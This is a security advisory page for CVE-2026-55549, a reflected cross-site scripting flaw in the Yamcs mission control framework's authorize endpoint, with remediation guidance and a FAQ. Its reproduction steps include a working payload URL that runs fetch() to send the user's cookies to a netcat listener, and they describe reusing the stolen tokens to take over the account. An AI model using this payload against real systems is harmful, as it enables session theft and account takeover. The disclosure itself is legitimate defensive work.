CVE-2026-55549: Yamcs: Reflected XSS in the URL of the Authorize Endpoint

Published Aug 28, 2026
·
Updated

Attack type:  Unauthenticated remote

Impact: Attackers can execute arbitrary JavaScript in a user's browser, including obtaining a user's session token and refresh token.

Affected components: authorize.html, AuthHandler.java, HandlerContext.java

A Reflected Cross-Site Scripting vulnerability exists in Yamcs <=5.8.6, allowing an attacker to execute arbitrary JavaScript in a Yamcs user's browser. This vulnerability can be exploited to exfiltrate a logged-in user's access token and send it to a remote server, leading to the takeover of the user's account.

Using a specially crafted URL, you are able to execute a JavaScript alert() call in the browser:

<img width="1794" height="816" alt="image" src="https://github.com/user-attachments/assets/4a5b6aa4-bceb-4b3d-bc5d-3dac0895ff2e" />

You then use JavaScript to obtain the user's cookies and display them in the alert:

<img width="1794" height="1290" alt="image" src="https://github.com/user-attachments/assets/6c6d2837-db77-409a-a66d-0d2e4edd5435" />

Finally, use the fetch function to send the user's cookies to a remote server which we controlled:

<img width="2370" height="1025" alt="image" src="https://github.com/user-attachments/assets/2989fc79-6ca0-4256-afc4-71d44d9923b8" />

Now you can set these cookies in our own browser and login to Yamcs as the user.

Steps to Reproduce 1. Start Yamcs 2. Login as a user 3. In a terminal, start a netcat listener:

nc -nlvp 8888

4. Paste the following URL payload in the browser

http://localhost:8090/auth/authorize?clientid=yamcs-web&state=Lw&responsemode=query&responsetype=code&scope=openid&redirecturi=http%3A%2F%2Flocalhost:8090%2Fcbi0i7y"><script>fetch(http://localhost:8888?c=${document.cookie})<%2Fscript>ekuou

5. You will receive a connection on your netcat listener containing the user's access token and refresh token.

Acknowledgements This vulnerability was discovered by Abderrahim Dahmani while solving a STARPWN 2025 CTF challenge at DEFCON 33 offered by VisionSpace Technologies.

Other sources

Yamcs is a mission control framework. Prior to 5.9.4, Yamcs reflects an attacker-controlled redirecturi parameter from GET /auth/authorize into yamcs-core/src/main/resources/auth/templates/authorize.html without adequate HTML escaping by yamcs-core/src/main/java/org/yamcs/http/auth/AuthHandler.java and yamcs-core/src/main/java/org/yamcs/http/HandlerContext.java. A crafted authorization URL can execute JavaScript when opened by a Yamcs user. The script can access browser-held authentication material and transmit it to an attacker, enabling account compromise. This issue is fixed in version 5.9.4.

MITRE

Affected Software

1 affected componentFixes available
maven/org.yamcs:yamcs-core<5.9.4
5.9.4

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade maven/org.yamcs:yamcs-core to a version that resolves this vulnerability.

    Fixed in 5.9.4
  2. Upgrade

    Upgrade Yamcs to a version that resolves this vulnerability.

    Fixed in 5.9.4
  3. Compensating control

    As a mitigation while patching, restrict access to the Yamcs /auth/authorize endpoint to trusted users/clients only (e.g., via firewall/ACL allowlists) to reduce exposure to crafted authorization URLs.

Event History

Aug 28, 2026
CVE Published
via MITRE·05:15 PM
Data Sourced
via MITRE·05:15 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·05:17 PM
Data Sourced
via GitHub·05:17 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which users are at risk of account compromise?

Any logged-in Yamcs user who opens an attacker-crafted URL can have JavaScript executed in their browser. The vulnerability can expose that user's session and refresh tokens, enabling account takeover.

2

Does exploitation require authentication or a difficult attack setup?

No attacker authentication is required, and the attack complexity is low. Exploitation does require user interaction: a Yamcs user must visit the specially crafted URL.

3

Which versions should be treated as affected, and what update is indicated?

Yamcs versions 5.8.6 and earlier are affected. The provided release reference identifies yamcs-5.9.4 as the available release to review for remediation.

4

Which components should be reviewed when assessing exposure?

The affected components named in the advisory are authorize.html, AuthHandler.java, and HandlerContext.java. Deployments using the yamcs-core Maven artifact should be assessed.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203